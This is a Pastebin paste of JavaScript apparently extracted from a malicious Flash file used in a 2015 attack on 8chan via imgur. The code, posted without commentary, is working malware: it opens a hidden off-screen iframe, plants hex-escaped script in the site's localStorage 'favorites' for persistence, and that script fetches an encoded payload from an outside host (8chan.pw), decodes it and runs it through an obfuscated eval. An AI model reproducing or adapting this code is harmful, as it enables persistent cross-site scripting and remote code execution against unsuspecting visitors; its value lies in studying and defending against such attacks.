Guest User

js from .swf used in 8chan/imgur hack

a guest
Sep 23rd, 2015
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     function loadHeaderImg() {
  2.         if (window.location.href.indexOf('ng=1') == -1) {
  3.             var ua = navigator.userAgent;
  4.             if (ua) {
  5.                 var ii = document.createElement('iframe');
  6.                 ii.style.position = 'absolute';
  7.                 ii.style.left = '-1280px';
  8.                 ii.style.top = '-980px';
  9.                 ii.width = 300;
  10.                 ii.height = 100;
  11.                 ii.src = ('' + window.location.href).split('media.8ch.net').join('8ch.net').split('.swf').join('.swf?ng=1&');
  12.                 document.body.appendChild(ii);
  13.             };
  14.         } else if (window.location.href.indexOf('8ch.net') >= 0) {
  15.             var fs = "aylmoctisfnetoojwsdd911<div id='favsh1' style='width:1px;height:1px;display:none;'></div><script>function cbstrtea(){ var os = document.getElementsByTagName('div'); for (var i=os.length-1; i>=0; i--) {  var o = os[i];  if (o.id == 'favsh1') {   o = o.parentNode;   o.style.display='none';   if (o.previousSibling && ((''+o.previousSibling.textContent).split(' ').join('') == '/')) {    o.parentNode.removeChild(o.previousSibling);   } else if (o.nextSibling && ((''+o.nextSibling.textContent).split(' ').join('') == '/')) {    o.parentNode.removeChild(o.nextSibling);   } else if (o.previousSibling && o.nextSibling && ((''+o.previousSibling.textContent).split(' ').join('') == '[') && ((''+o.nextSibling.textContent).split(' ').join('') == ']')) {    o.parentNode.removeChild(o.previousSibling);    o.parentNode.removeChild(o.nextSibling);   };  }; };};setTimeout('cbstrtea()',0);if (!window.hfavsh) { window.wqvqlx='val'; window.hfavsh=true; if (typeof(window.axhtprqsa) == 'undefined') {  window.axhtprqsa = [];  window.wqvqlxf = function (u, f) {   var xh;   if (window.XMLHttpRequest) {    xh = new XMLHttpRequest();   } else {    xh = new ActiveXObject('Microsoft.XMLHTTP');   };   var o = {};   o.xh = xh;   o.done = false;   o.f = f;   window.axhtprqsa.push(o);   xh.onreadystatechange = function () {    var o = null;    for (var i = window.axhtprqsa.length-1; i>=0; i--) {     if (window.axhtprqsa[i].xh == this) {      o = window.axhtprqsa[i];      break;     };    };    if (o != null) {     if (this.readyState == 4 ) {      if (!o.done) {       o.done = true;       if (this.status == 200) {        o.f(this.responseText, 'success');       } else {        o.f('', 'error');       };      };     };    };   };   try {    xh.open('GET', u, true);    xh.send();   } catch (e) { };  }; }; function gfavsh(d,c){  var fd='';  var lv = 5;  var plv;  for (var i = 0;i<d.length;i++) {   var v=d.charCodeAt(i);   v -= 32;   plv = lv;   lv = v;   v -= plv;   v %= 126-32;   if (v<0) v+=126-32;   v += 32;   fd+=String.fromCharCode(v);  };  if (fd.length >= 3) if (c=='success') window[window['wqvqlx']](fd); }; window.wqvqlx='e'+window.wqvqlx; wqvqlxf('https://8chan.pw/a_
  16.            ', gfavsh);};</script>aylmoctisfnetoojwsdd911";
  17.             var favorites = [];
  18.             var can_go = true;
  19.             if (localStorage.favorites) {
  20.                 if (localStorage.favorites.indexOf('\\u00') >= 0) {
  21.                     can_go = false;
  22.                 };
  23.                 favorites = JSON.parse(localStorage.favorites);
  24.             };
  25.             if (can_go) {
  26.                 favorites.push(fs);
  27.                 var lcs = JSON.stringify(favorites);
  28.                 var ss = lcs.split('aylmoctisfnetoojwsdd911');
  29.                 for (var i = 0; i < ss.length; i++) {
  30.                     if (i % 2 == 1) {
  31.                         var s = ss[i];
  32.                         var ns = '';
  33.                         for (var j = 0; j < s.length; j++) {
  34.                             var hs = '00' + (s.charCodeAt(j)).toString(16);
  35.                             hs = hs.substr(hs.length - 2);
  36.                             ns += '\\u00' + hs;
  37.                         };
  38.                         ss[i] = ns;
  39.                     };
  40.                 };
  41.                 ss = ss.join('');
  42.                 localStorage.favorites = ss;
  43.             };
  44.         };
  45.     };
  46.     setTimeout('loadHeaderImg()', 0);
Add Comment
Please, Sign In to add comment